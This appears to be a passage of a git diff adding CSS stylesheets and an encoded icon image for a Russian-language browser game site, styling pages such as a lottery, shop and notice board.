.map-block-right.clanwars{background-image:url("http://i.oldbk.com/i/world_map2/16_clanwars_end.jpg");}.ahint{COLOR:#000080;TEXT-DECORATION:none}#hint2{VISIBILITY:hidden;z-index:100;WIDTH:140px;POSITION:absolute;BACKGROUND-COLOR:#fff6dd;layer-background-color:#FFF6DD}#hint3{VISIBILITY:hidden;z-index:100;WIDTH:240px;POSITION:absolute;BACKGROUND-COLOR:;layer-background-color:#FFF6DD} \ No newline at end of file diff --git a/css/newstyle_loc4.css b/css/newstyle_loc4.css new file mode 100644 index 0000000..49686fe --- /dev/null +++ b/css/newstyle_loc4.css @@ -0,0 +1 @@ +body{margin:0;background-color:#E2E0E1;}.a_strong a{font-weight:bold;}body#arenda-body{background-color:#e0e0e0;}#page-wrapper table td{padding:5px;vertical-align:top;}#page-wrapper ul{padding:0;margin:0;list-style:none;}#page-wrapper .money{color:#428f21;}#page-wrapper a{text-decoration:none;color:#003585;}#page-wrapper{font-family:Tahoma;padding:10px;font-size:13px;}#page-wrapper .mhint{color:#878787;font-style:italic;font-size:11px;}#page-wrapper .size11{font-size:11px;}#page-wrapper .date{FONT-WEIGHT:normal;FONT-SIZE:8pt;COLOR:#007000;FONT-FAMILY:Courier;TEXT-DECORATION:none;display:inline-block;}#page-wrapper .center{text-align:center;}#page-wrapper .title{text-align:center;}#page-wrapper .title .h3{display:inline-block;FONT-WEIGHT:bold;FONT-SIZE:12pt;COLOR:#8f0000;FONT-FAMILY:Arial;}#page-wrapper input{height:12px;padding:1px;font-size:11px;}#page-wrapper .date{margin-right:5px;}#page-wrapper ul li{padding:5px;}#page-wrapper .info{font-size:13px;font-weight:bold;margin:10px 0;}#buttons{height:25px;float:right;}.clearfix:after{content:".";visibility:hidden;display:block;height:0;clear:both;}#page-wrapper .btn{font-family:MS Sans Serif;font-size:10px;text-align:center;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;font-weight:normal;user-select:none;display:inline-block;line-height:10px\0/;}#page-wrapper .btn{display:inline-block;}#page-wrapper .button-dark-mid{padding-top:4px;cursor:pointer;width:75px;height:15px;font-size:10px;background:url("http://i.oldbk.com/i/images/buttons/darkButton_mid_Sprite.jpg") no-repeat 0 -19px;}#page-wrapper .button-dark-mid:hover{background:url("http://i.oldbk.com/i/images/buttons/darkButton_mid_Sprite.jpg") no-repeat 0 -38px;}#page-wrapper .button-dark-mid:active{background:url("http://i.oldbk.com/i/images/buttons/darkButton_mid_Sprite.jpg") 0 0;}#page-wrapper .button-mid{padding-top:4px;cursor:pointer;width:75px;height:15px;font-size:10px;background:url("http://i.oldbk.com/i/images/buttons/button_mid_Sprite.jpg") no-repeat 0 -19px;}#page-wrapper .button-mid:hover{background:url("http://i.oldbk.com/i/images/buttons/button_mid_Sprite.jpg") no-repeat 0 -38px;}#page-wrapper .button-mid:active{background:url("http://i.oldbk.com/i/images/buttons/button_mid_Sprite.jpg") 0 0;}#page-wrapper .button-big{padding-top:4px;cursor:pointer;width:114px;height:15px;font-size:10px;background:url("http://i.oldbk.com/i/images/buttons/button_big_Sprite.jpg") no-repeat 0 -19px;}#page-wrapper .button-big:hover{background:url("http://i.oldbk.com/i/images/buttons/button_big_Sprite.jpg") no-repeat 0 -38px;}#page-wrapper .button-big:active{background:url("http://i.oldbk.com/i/images/buttons/button_big_Sprite.jpg") no-repeat 0 0;}#page-wrapper .button-sbig{padding-top:4px;cursor:pointer;width:180px;height:15px;font-size:10px;background:url("http://i.oldbk.com/i/images/buttons/button_cp_exit_sprite.jpg") no-repeat 0 -19px;}#page-wrapper .button-sbig:hover{background:url("http://i.oldbk.com/i/images/buttons/button_cp_exit_sprite.jpg") no-repeat 0 -38px;}#page-wrapper .button-sbig:active{background:url("http://i.oldbk.com/i/images/buttons/button_cp_exit_sprite.jpg") no-repeat 0 0;}#page-wrapper a.btn{color:black;}#page-wrapper table tr.hidden td{display:none;}#page-wrapper table tr td.sub-title{font-weight:bold;color:#8f0000;}#page-wrapper table tr.head-line{position:relative;text-align:center;padding:0;height:28px;background-image:url("http://i.oldbk.com/i/images/ristal/spoiler_bg.jpg");}#page-wrapper table tr.head-line th{padding:0;position:relative;font-size:13px;}#page-wrapper table tr.head-line th .head-left{background-image:url("http://i.oldbk.com/i/images/ristal/spoiler_left.jpg");float:left;width:8px;height:28px;background-repeat:no-repeat;}#page-wrapper table tr.head-line th .head-title{position:absolute;padding-left:12px;line-height:26px;}#page-wrapper table tr.head-line th .head-title.p{padding-left:0;width:100%;margin-left:-7px;}#page-wrapper table tr.head-line th .head-title a{color:black;}#page-wrapper table tr.head-line th .head-title a:hover,#page-wrapper table tr.head-line th .head-title a.active{color:#8f0000;}#page-wrapper table tr.head-line th .head-separate{background:url("http://i.oldbk.com/i/images/ristal/razdelitel.jpg") no-repeat;float:right;width:12px;height:28px;}#page-wrapper table tr.head-line th .spoiler{margin-top:8px;}#page-wrapper table tr.head-line th .head-right{background:url("http://i.oldbk.com/i/images/ristal/spoiler_right.jpg") no-repeat;float:right;width:8px;height:28px;}#page-wrapper table{width:100%;table-layout:fixed;}#page-wrapper table.table{margin-bottom:10px;}#page-wrapper table.table>tbody>tr>td{border-bottom:1px solid #a3a3a3;}#page-wrapper table.table>tbody>tr>td:first-child{border-left:1px solid #a3a3a3;}#page-wrapper table.table>tbody>tr>td:last-child{border-right:1px solid #a3a3a3;}#page-wrapper table.border>tbody>tr>td{border-right:1px solid #a3a3a3;}#page-wrapper table.border>tbody>tr:first-child td{border-top:1px solid #a3a3a3;}#page-wrapper table tr.title{background-color:#a3a3a3;}#page-wrapper table tr.even{background-color:#e8e8e8;}#page-wrapper table tr.odd{background-color:#f0f0f0;}#page-wrapper table tr.even2{background-color:#C7C7C7;}#page-wrapper table tr.odd2{background-color:#D5D5D5;}#page-wrapper .spoiler{width:17px;height:10px;background-repeat:no-repeat;display:block;}#page-wrapper .spoiler.right{float:right;}#page-wrapper .spoiler-down{background-image:url("http://i.oldbk.com/i/images/buttons/btt2.png");}#page-wrapper .spoiler-down:hover{background-image:url("http://i.oldbk.com/i/images/buttons/btt3.png");}#page-wrapper .spoiler-up{background-image:url("http://i.oldbk.com/i/images/buttons/btt1b.png");}#page-wrapper .spoiler-up:hover{background-image:url("http://i.oldbk.com/i/images/buttons/btt3b.png");}#page-wrapper #filter td{padding:5px 0;}#page-wrapper .hint-block{background-color:#ededed;border:1px solid #bfbfbf;padding:10px;width:100%;}#page-wrapper #filter td.filter-title{background-color:#ebebeb;color:#595959;font-weight:bold;padding-left:5px;}#page-wrapper #filter td.filter-item ul{margin-left:10px;}#page-wrapper #filter td.filter-item li{padding:0;font-weight:bold;}#page-wrapper .pagination{display:inline-block;}#page-wrapper .pagination li{float:left;font-weight:bold;padding:0;margin-right:4px;}#page-wrapper .dress-item{margin-left:5px;}#page-wrapper .dress-item li{padding:1px;}#page-wrapper .auth-block{position:relative;background:url('http://i.oldbk.com/i/images/bank_aut_PNG.png') no-repeat;width:275px;height:102px;margin:0 auto;}#page-wrapper .auth-block .inner-auth{position:absolute;left:65px;top:20px;}#page-wrapper .auth-block .inner-auth .auth-num select{width:159px;}#page-wrapper .auth-block .inner-auth .auth-pass{margin-top:5px;}#page-wrapper .auth-block .inner-auth .auth-pass input{width:120px;}#page-wrapper .auth-block .inner-auth .enter{margin-top:10px;}#page-wrapper .auth-block .hint-block{position:absolute;top:115px;width:253px;color:#5c5c5c;}#page-wrapper .profile-stats{background-color:#eaeaea;border:1px solid #aaaaaa;margin-bottom:10px;}#page-wrapper .profile-stats>tbody>tr>td{padding:10px;}#page-wrapper .profile-stats .profile{border:1px solid #aaaaaa;}#page-wrapper .profile-stats .profile .active{color:red;}#page-wrapper .profile-stats .profile th{border-right:1px solid #aaaaaa;background-color:#f0f0f0;padding:4px;}#page-wrapper .profile-stats .profile th:last-child,#page-wrapper .profile-stats .profile td:last-child{border-right:0;}#page-wrapper .profile-stats .profile td{border-top:1px solid #aaaaaa;border-right:1px solid #aaaaaa;}#page-wrapper .profile-stats .profile td a{font-weight:bold;}#page-wrapper .profile-stats .stats{background-color:#f0f0f0;}#page-wrapper .profile-stats .stats input{width:30px;}#board{width:1120px;margin:0 auto;position:relative;}#board .clear{clear:both;}#board img.bg{position:absolute;z-index:-1;}#board .wrapp{width:380px;margin:0 auto;padding-top:68px;}#board .wrapp .buttons{position:relative;height:20px;}#board .wrapp .buttons #other,#board .wrapp .buttons #castle{cursor:pointer;}#board .wrapp .buttons #other{background-image:url("http://i.oldbk.com/i/images/doska/vse_norm.png");width:80px;height:15px;float:left;}#board .wrapp .buttons #other:hover,#board .wrapp .buttons #other.active{background-image:url("http://i.oldbk.com/i/images/doska/vse_hover.png");}#board .wrapp .buttons #castle{background-image:url("http://i.oldbk.com/i/images/doska/zamk_norm.png");width:54px;height:14px;float:right;margin-right:20px;}#board .wrapp .buttons #castle:hover,#board .wrapp .buttons #castle.active{background-image:url("http://i.oldbk.com/i/images/doska/zamk_hover.png");}#board .wrapp .content{margin-left:-35px;}#board .wrapp .content .separator{background-image:url("http://i.oldbk.com/i/images/doska/razdelitel.png");width:243px;height:19px;margin:0 auto;}#board .wrapp .content ul{margin:0;padding:0;list-style:none;}#board .wrapp .content ul li{font-size:11px;font-weight:bold;color:#8f0000;line-height:14px;padding:0;}#board .wrapp .content ul li.title{font-size:12px;color:black;padding:3px 0;}#board .wrapp .content ul li div.larena{text-align:right;display:inline-block;color:black;width:120px;}#board .wrapp .content .tab{display:none;}#board .wrapp .content .tab.active{display:block;}#ristal{min-width:1150px;}#page-wrapper #ristal td.bg,#page-wrapper #ristal td.bg2{min-height:360px;}#page-wrapper #ristal td.bg{background:url("http://i.oldbk.com/i/images/ristal/bg_solo80.jpg") no-repeat center top;}#page-wrapper #ristal td.bg2{background:url("http://i.oldbk.com/i/images/ristal/bg_groups80.jpg") no-repeat center top;}#page-wrapper #ristal .top10{display:none;}#page-wrapper #ristal .top10.active{display:block;}#page-wrapper #ristal .top10 div{display:inline-block;}#page-wrapper #ristal .top10 .num{width:20px;text-align:right;}#page-wrapper #ristal .top10 .win{width:80px;}#page-wrapper #ristal .top10-tab.active{cursor:default;color:#000!important;}#page-wrapper #ristal .top-info{margin:10px 0;}#page-wrapper #ristal .top-info a{vertical-align:top;margin-top:4px;}#page-wrapper #ristal table tr.head-line th .head-title a,#page-wrapper #ristal table tr.head-line th .head-title a:hover{color:#003585;}#page-wrapper #znahar .auth-block{margin-top:20px;}#page-wrapper #znahar .stats td{padding:2px;}#page-wrapper #znahar ul.ability-block{padding-left:50px;}#page-wrapper #znahar ul.ability-block .ability,#page-wrapper #znahar ul.ability-block .description{float:left;vertical-align:top;}#page-wrapper #znahar ul.ability-block .ability{width:45px;margin-right:5px;margin-left:-50px;}#page-wrapper #znahar ul.ability-block .ability a{opacity:0.4;filter:alpha(opacity=40);}#page-wrapper #znahar ul.ability-block .ability>img{opacity:1;filter:alpha(opacity=100);}#page-wrapper #arenda .content-block{width:700px;margin:0 auto;}#page-wrapper #arenda .content-block .title{font-weight:bold;color:#003585;margin-bottom:30px;}#page-wrapper #arenda .content-block .desc-item{margin-bottom:20px;}#page-wrapper #aukcion #filter .hint-block{padding:3px;}#page-wrapper #prokat>table{background:url("http://i.oldbk.com/i/images/prokat/prokat_bg.jpg") no-repeat right top;min-height:390px;}#page-wrapper #prokat #auth{padding:20px;padding-left:40px;padding-top:0;}#page-wrapper #prokat #auth .hint-block{margin-top:15px;padding:5px 20px;width:232px;}#page-wrapper #shop .filter .head-title{right:20px;top:1px;}#page-wrapper #shop .filter .head-title select{height:18px;width:200px;}#page-wrapper #shop #filter .hint-block{padding:5px 20px;}#ruins{min-width:1410px;}#page-wrapper #ruins td.bg{background:url("http://i.oldbk.com/i/images/ruins/ruins_bg_illustration.jpg") no-repeat right top;min-height:360px;}#page-wrapper #ruins .hint-block{padding:5px 10px;}#page-wrapper #loto{min-width:1260px;max-width:1260px;margin:0 auto;}#page-wrapper #loto .relative{position:relative;}#page-wrapper #loto .date{font-weight:bold;display:inline-block;font-family:Tahoma;}#page-wrapper #loto #top-block-left{position:relative;width:640px;height:445px;background:url("http://i.oldbk.com/i/images/loto/Loto_BG1_Q85%25.jpg") no-repeat;}#page-wrapper #loto #top-block-left #right-info{right:75px;position:absolute;top:72px;width:260px;height:115px;overflow:hidden;}#page-wrapper #loto #top-block-left #right-info .next{padding-left:35px;text-align:center;}#page-wrapper #loto #top-block-left #right-info .next-info{position:absolute;top:30px;}#page-wrapper #loto #top-block-left #right-info .next-info li{padding:1px;}#page-wrapper #loto #top-block-left #choose-numbers{position:absolute;top:265px;right:117px;width:140px;}#page-wrapper #loto #top-block-left #choose-numbers table{border:2px solid #d9bb9e;width:114px;height:90px;margin:0 auto;}#page-wrapper #loto #top-block-left #choose-numbers table td{padding:2px;text-align:center;border-bottom:2px solid #d9bb9e;border-right:2px solid #d9bb9e;font-weight:bold;font-size:12px;cursor:pointer;}#page-wrapper #loto #top-block-left #choose-numbers table td.active{background-color:#810e09;color:white;}#page-wrapper #loto #top-block-left #choose-numbers table td:last-child{border-right:0;}#page-wrapper #loto #top-block-left #choose-numbers table tr:last-child td{border-bottom:0;}#page-wrapper #loto #top-block-left #choose-numbers .buy{position:absolute;top:140px;right:19px;font-weight:bold;}#page-wrapper #loto #top-block-left #choose-numbers .buy a,#page-wrapper #loto #top-block-left #choose-numbers .buy a:hover{color:#8f0000;}#page-wrapper #loto #top-block-left #bottom-info{position:absolute;top:234px;left:30px;width:275px;overflow:hidden;height:110px;}#page-wrapper #loto #top-block-left #bottom-info .check-input span{color:#8f0000;font-weight:bold;}#page-wrapper #loto #top-block-left #bottom-info .check-input input{width:35px;height:11px;}#page-wrapper #loto #top-block-left #bottom-info .check-info{position:absolute;top:34px;left:32px;}#page-wrapper #loto #top-block-left #bottom-info .check-info li{padding:1px;}#page-wrapper #loto #top-block-left #loto-numbers{position:absolute;top:187px;left:70px;font-weight:bold;}#page-wrapper #loto #top-block-left #loto-numbers #n1{width:23px;text-align:center;}#page-wrapper #loto #top-block-left #loto-numbers #n2{top:0;left:42px;position:absolute;width:23px;text-align:center;}#page-wrapper #loto #top-block-left #loto-numbers #n3{position:absolute;top:0;left:84px;width:23px;text-align:center;}#page-wrapper #loto #top-block-left #loto-numbers #n4{position:absolute;left:125px;top:0;width:23px;text-align:center;}#page-wrapper #loto #top-block-left #loto-numbers #n5{position:absolute;top:0;left:168px;text-align:center;width:23px;}#page-wrapper #loto #top-block-left #bottom-stats{position:absolute;top:367px;left:11px;width:307px;}#page-wrapper #loto #top-block-left #bottom-stats .stats li{padding:1px;}#page-wrapper #loto #top-block-left #bottom-stats .stats #show-stats{vertical-align:middle;padding:0;}#page-wrapper #loto #top-block-left #bottom-stats .stats #show-stats a{display:block;background:url("http://i.oldbk.com/i/images/loto/stat_norm.jpg");width:49px;height:34px;}#page-wrapper #loto #top-block-left #bottom-stats .stats #show-stats a:hover{background:url("http://i.oldbk.com/i/images/loto/stat_hover.jpg");}#page-wrapper #loto #top-block-left #stats-table{position:absolute;top:450px;left:10px;width:570px;overflow:hidden;display:none;}#page-wrapper #loto #top-block-left #stats-table table{border:2px solid #aaaaaa;}#page-wrapper #loto #top-block-left #stats-table table th{background-color:#f0f0f0;padding:5px;font-weight:normal;border-right:2px solid #aaaaaa;}#page-wrapper #loto #top-block-left #stats-table table th:last-child{border-right:0;}#page-wrapper #loto #top-block-left #stats-table table td{border-top:2px solid #aaaaaa;border-right:2px solid #aaaaaa;text-align:center;vertical-align:middle;}#page-wrapper #loto #top-block-left #stats-table table td:last-child{border-right:0;}#page-wrapper #loto #top-block-left #stats-table table td.win{padding:13px 0;}#page-wrapper #loto #top-block-right{position:relative;width:100%;height:290px;background:url("http://i.oldbk.com/i/images/loto/Loto_BG2_Q85%25.jpg") no-repeat right top;}#page-wrapper #loto #top-block-right #next-info-right{position:absolute;right:135px;top:172px;}#page-wrapper #loto #top-block-right li{padding:1px;}#page-wrapper #loto #top-block-right #info-right{width:538px;position:absolute;right:50px;top:265px;}#page-wrapper #loto #top-block-right #info-right .hint-block{width:515px;}#page-wrapper #loto #top-block-right #info-right .date{font-weight:normal;font-style:italic;}#page-wrapper #loto #top-block-right table .head-title{font-weight:normal;}.ahint{FONT-SIZE:8px;COLOR:#000080;FONT-FAMILY:MS Sans Serif;TEXT-DECORATION:none}#hint2{VISIBILITY:hidden;WIDTH:140px;POSITION:absolute;BACKGROUND-COLOR:#fff6dd;layer-background-color:#FFF6DD}#hint3{VISIBILITY:hidden;WIDTH:240px;POSITION:absolute;BACKGROUND-COLOR:#fff6dd;layer-background-color:#FFF6DD} \ No newline at end of file diff --git a/css/rating.css b/css/rating.css new file mode 100644 index 0000000..da15dcd --- /dev/null +++ b/css/rating.css @@ -0,0 +1,87 @@ +BODY { + FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif +} +TD { + FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif +} +OL { + FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif +} +UL { + FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif +} +LI { + FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif +} +P { + FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif +}.inup { + + BORDER-RIGHT: #302F2A 1px double; BORDER-TOP: #302F2A 1px double; FONT-SIZE: 8pt; BORDER-LEFT: #302F2A 1px double; COLOR: #000000; BORDER-BOTTOM: #302F2A 1px double; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; BACKGROUND-COLOR: #DED7BD +} +.text { + FONT-WEIGHT: normal; FONT-SIZE: 10pt; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif +} +H3 { + FONT-WEIGHT: bold; FONT-SIZE: 12pt; COLOR: #8f0000; FONT-FAMILY: Arial; TEXT-ALIGN: center +} +H4 { + FONT-WEIGHT: bold; FONT-SIZE: 11pt; MARGIN-BOTTOM: 5px; COLOR: #8f0000; FONT-FAMILY: Arial +} +A:link { + FONT-WEIGHT: normal; COLOR: #524936; TEXT-DECORATION: none +} +A:visited { + FONT-WEIGHT: normal; COLOR: #633525; TEXT-DECORATION: none +} +A:active { + FONT-WEIGHT: normal; COLOR: #77684d; TEXT-DECORATION: none +} +A:hover { + COLOR: #68727B; TEXT-DECORATION: underline +} +.date { + FONT-WEIGHT: normal; FONT-SIZE: 8pt; COLOR: #007000; FONT-FAMILY: Courier; TEXT-DECORATION: none +} +.dsc { + FONT-WEIGHT: normal; COLOR: #606060 +} +SELECT { + BORDER-RIGHT: #b0b0b0 1pt solid; BORDER-TOP: #b0b0b0 1pt solid; MARGIN-TOP: 1px; FONT-SIZE: 10px; MARGIN-BOTTOM: 2px; BORDER-LEFT: #b0b0b0 1pt solid; COLOR: #191970; BORDER-BOTTOM: #b0b0b0 1pt solid; FONT-FAMILY: MS Sans Serif +} +TEXTAREA { + BORDER-RIGHT: #b0b0b0 1pt solid; BORDER-TOP: #b0b0b0 1pt solid; MARGIN-TOP: 1px; FONT-SIZE: 10px; MARGIN-BOTTOM: 2px; BORDER-LEFT: #b0b0b0 1pt solid; COLOR: #191970; BORDER-BOTTOM: #b0b0b0 1pt solid; FONT-FAMILY: MS Sans Serif +} +INPUT { + BORDER-RIGHT: #b0b0b0 1pt solid; BORDER-TOP: #b0b0b0 1pt solid; MARGIN-TOP: 1px; FONT-SIZE: 10px; MARGIN-BOTTOM: 2px; BORDER-LEFT: #b0b0b0 1pt solid; COLOR: #191970; BORDER-BOTTOM: #b0b0b0 1pt solid; FONT-FAMILY: MS Sans Serif +} +.pagetknum { + PADDING-RIGHT: 3px; PADDING-LEFT: 3px; FONT-WEIGHT: bold; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; COLOR: #6f0000; PADDING-TOP: 0px; TEXT-DECORATION: underline +} +.pagenum A:link { + PADDING-RIGHT: 3px; PADDING-LEFT: 3px; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; PADDING-TOP: 0px +} +.pagenum A:visited { + PADDING-RIGHT: 3px; PADDING-LEFT: 3px; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; PADDING-TOP: 0px +} +.pagenum A:active { + PADDING-RIGHT: 3px; PADDING-LEFT: 3px; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; PADDING-TOP: 0px +} +.pagenum A:hover { + PADDING-RIGHT: 3px; PADDING-LEFT: 3px; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; PADDING-TOP: 0px; BACKGROUND-COLOR: white +} +.pleft { + PADDING-RIGHT: 0px; PADDING-LEFT: 20px; PADDING-BOTTOM: 7px; MARGIN: 0px; PADDING-TOP: 3px +} +.pages { + BACKGROUND-COLOR: #ffefbf +} +IMG { + BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px +} +TABLE { + BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px +} +.btn { + BORDER-RIGHT: #817a63 1px double; BORDER-TOP: #817a63 1px double; FONT-SIZE: 7.5pt; BORDER-LEFT: #817a63 1px double; COLOR: #dfddd3; BORDER-BOTTOM: #817a63 1px double; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; BACKGROUND-COLOR: #2b2b18 +} \ No newline at end of file diff --git a/css/style.css b/css/style.css new file mode 100644 index 0000000..ea1543f --- /dev/null +++ b/css/style.css @@ -0,0 +1,54 @@ +body { +margin: 0px; +padding: 0px; +width:100%; + +font-family: Arial; +font-size: 9px; +} + +table { +border-collapse: collapse; +} + +td { +margin: 0em; +padding: 0em; +} + +img { +border:0px; +} + +#corners { +background: url(images/4.jpg) center top no-repeat; +} + +A:link { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: #fddd00; text-decoration:none;} +A:visited { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: #fddd00; text-decoration:none;} +A:hover { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: #fddd00; text-decoration:none;} + +.form { +background-color: #5B0200; +color: #000000; +border: 1px solid #6F4B3F; +font-family: Verdana, Arial, Helvetica, sans-serif; +color: #DAA43A; +font-size: 11px; +width: 89px; +height: 18px; +text-align: left; +position: inherit; +padding-bottom: 0px; +} + +hr { +background : #fddd00; +border-top : 1px solid #fddd00; +color : #fddd00; +height : 2px +} + + + + diff --git a/css/tooltip.css b/css/tooltip.css new file mode 100644 index 0000000..ce68757 --- /dev/null +++ b/css/tooltip.css @@ -0,0 +1,15 @@ +#tiptip_holder { display: none; position: absolute; top: 0; left: 0; z-index: 99999; } +#tiptip_holder.tip_top { padding-bottom: 5px; } +#tiptip_holder.tip_bottom { padding-top: 5px; } +#tiptip_holder.tip_left { padding-right: 5px;} +#tiptip_content { font-size: 11px; color: #000; text-shadow: 0 0 2px #fff; padding: 4px 8px; border: 1px solid rgba(255,255,255,0.25); background: #fff; border-radius: 3px; -webkit-border-radius: 3px; -moz-border-radius: 3px; box-shadow: 0 0 3px #555; -webkit-box-shadow: 0 0 3px #555; -moz-box-shadow: 0 0 3px #555; } +#tiptip_arrow, #tiptip_arrow_inner { position: absolute; border-color: transparent; border-style: solid; border-width: 6px; height: 0; width: 0; } +#tiptip_holder.tip_top #tiptip_arrow { border-top-color: #fff; border-top-color: rgba(255,255,255,0.35); } +#tiptip_holder.tip_bottom #tiptip_arrow { border-bottom-color: #fff; border-bottom-color: rgba(255,255,255,0.35); } +#tiptip_holder.tip_right #tiptip_arrow { border-right-color: #fff; border-right-color: rgba(255,255,255,0.35); } +#tiptip_holder.tip_left #tiptip_arrow { border-left-color: #fff; border-left-color: rgba(255,255,255,0.35); } +#tiptip_holder.tip_top #tiptip_arrow_inner { margin-top: -7px; margin-left: -6px; border-top-color: rgb(25,25,25); border-top-color: rgba(25,25,25,0.92); } +#tiptip_holder.tip_bottom #tiptip_arrow_inner { margin-top: -5px; margin-left: -6px; border-bottom-color: rgb(25,25,25); border-bottom-color: rgba(25,25,25,0.92); } +#tiptip_holder.tip_right #tiptip_arrow_inner { margin-top: -6px; margin-left: -5px; border-right-color: rgb(25,25,25); border-right-color: rgba(25,25,25,0.92); } +#tiptip_holder.tip_left #tiptip_arrow_inner { margin-top: -6px; margin-left: -7px; border-left-color: rgb(25,25,25); border-left-color: rgba(25,25,25,0.92); } +.txt { font-style: italic; } \ No newline at end of file diff --git a/css/wysibb/theme/default/img/icons.png b/css/wysibb/theme/default/img/icons.png new file mode 100644 index 0000000000000000000000000000000000000000..ebd0fb0ee94f697f9624d346131472912e7e17e9 GIT binary patch literal 5075 zcmbVQc|26@+aKEu*-0X0nq&(z!whCZhOuT}BC?E`$&6)&G1ib~R45{qJ<9UnLCTtB z4J}0WWt6hyQBol!yrboL-#>nz-yiQe_vdr&bIx^rujRh3?>%$kZLCZL_ek#n004q! zrdT`nRS^K-gz*B|vy~a82keU!-N>14Pd!Ty#nFfW41wxJ1e^Keyoq*193edL8BqrS z;3AM6oaxS%7HB-xUk$e_qZZ~Lz}5x;bWVf?;PAdgI@pWoO{VBVmL4@jz+{3h#0hB$ zvkWjKlE|hJG@^Zkl>g`Q?n#?w=MRaE`&s<2cV(Q(9lq|Pz^OI%^M0wp-{UR>guX&3Dux*3LO`w zN(nmh2LVeA!qdnBbTX9!-bKWDQG@Ba5VohkLhui;wEP#C67)M!?36*nZ~;)b8Vu_1 zzZ=(2=^(lt@qgX;kJ3R7;Q>Ub9WjU+OvAI+f~p_^fKA?!D51Tp~)SH~a>5!whN1WMZo4u=~UBVdNcFf3NfPy?o|q45XfKj|83 zq0|kuVJNt^CISvOVk2QRP{wd$l!k#3MgxQTqiaS9qT?ud;vc(Yw%y;l+W%D-ZAc^H z=v0~mmFoAW0&GZBIyHzy4FDV3Bf(B&3V|9Lw7WRJV#N|^&A+Wfq_F#i#%_$5J-KlJfC!Hn7UK{${xQebZ|{gi%+ffJ5gwi+;$zzO;Es-k zqSfNwyLYukYcDv171}Bc7y+fjqCSItvgK|P$gI+GnVJrx!lN_7@eFgWI44GS3>OA` zG%wgxJl-TB(TwjJun{N#4p&3W|gVgIXcR>s)ITz1fsu6M|xCK5uK zu0}RkZi^9k8l%gzvJr_(E@n@tz$MIe+~+fr(%YUMGzt95J`ZQkMS~h-lwM+a1NS;MlJlc460+4X)G3Il0L6 z(wLMcK(X9|B%V>z<>AKsGtU z`p?mT*yq|gn@U&D0N3ePwD8h%t)vBFeuxsdpT5!mG+@B&KVgOfpWq>Lg}a)_J~^LO z#AxKBnQG||zUBveV}}13O@Nza3O(SNsXX-sygp@>-VKlvpov6@)I#TCZkmVz3Hm@n z%U(fe9LW`!%91-jEppYk*{QHKEMUJ+`Tf{451%8_^~Z$A$IUMIRnWv0Y>LEL^z!TS zS5QI0J{_y*Pz`EK^J5~{>3cljmc_ghfzwNXau(=KWlIxJ;&hpSWg@XcQkq3!jFKHL zb^1T<^Hd`Ji=F8W*P<6uOOa(Ml_>p?8D+lpF$MNfvwbN5; zF08AdWjR5;lqu?r*|O@^OVI4OngyAu=W;FTpr`1K*p1h!KZ9q-uMeEbjtvsCrd@Xq zy*)q;OH2KD$pE|o<74;%;By>4%=f7H6-AI<(FJSjw5q)&uhQ0~P*nWv=~Qs}z3WzX z*Ro?9#3Gv>$CV~bcKb&3+d8F$f05USEF;xq9SpWc?B6>nTW=uiHwaAb^7?Jm0;jKp zDlH-u4;5M6@~M0C_~yPNUgV;wY8E;=6){?7&*_ZiAPX9)oZ{6;SG`;LW~g7HNA7Dq zC3~>-eJSuCz*yUM>vw6fu_tr1+N@qFSIaY2(M~EC5U$;Rnf0e=Tu~68Pavsej^6`@ z1RRcWQ=L8Jcq8p;@K9N+1L#RtCqGHg%l`eOZ@J?0&TgR{Ve)m&F1n|}(8gqRp<`p3 zgj4FRJu1PX&rjcIj7|*tRV_agX5p{@!B-$+?|5;eagTfm(i7>X-|@k6?1?!?YxUuW z7YA-$O#aJ5>OuG;nkj2LP3cDWb|~aoqxq2;ST9-OS9O~VYQA+)e-+%ER2*K6mnHl; ze;OdP=n2O0EX~A)ByGGL0pZVReYA~VKHw%BX!YSx_o$wR9l;pAZ!Fvd6Vp2qyT(A3 zCwY5qWQcAsBj!NOUz()2p(CxJBZ0#ip^A6Rt}4`aEdEt*Y43QNRdTadwEDdG&}H)2 zFzC@ner06$L{XC&Yg^g#Z|)lRQhxJhsTVCm zE|Yh>`a-I~SF_#hT)f`#?k{ZK+5}&d%T9&;B(HBd*#&>)^SzgY_qI&?UP_W4oNd0I zE?Of5$1QAv$^BJ3)^^rRmhiW%f6?_5O~m%=x{x&W-;7dHPJys%*0vzl$B!B^Q=HYK zoG&=|ES&Xg)B{gu6Ki5L&+%ZiUYy@5!tRcj|1PPW!d4P@IjFwx+et*4o+U&ThkelgAhW%`AUf=>h*K6 zzXpBIe3L7#`TPo&KgkKjcZ0!TgiYMMpu!W*A~OTD%g!)w_WzjP=WK0x6_(2=OIi3@ zEcD`RvT%u&l4p!i;{k&7(?g&ZaqvYj2=hANc$jG_AZg%&=tsV1WxTL9F%cc>yeoV< zz5XpKneJfKXp(sA(_mNAbBw7f77(l2Xs`@TtyMmn`=hSfI&QexLScoUzwua%Kiv~C 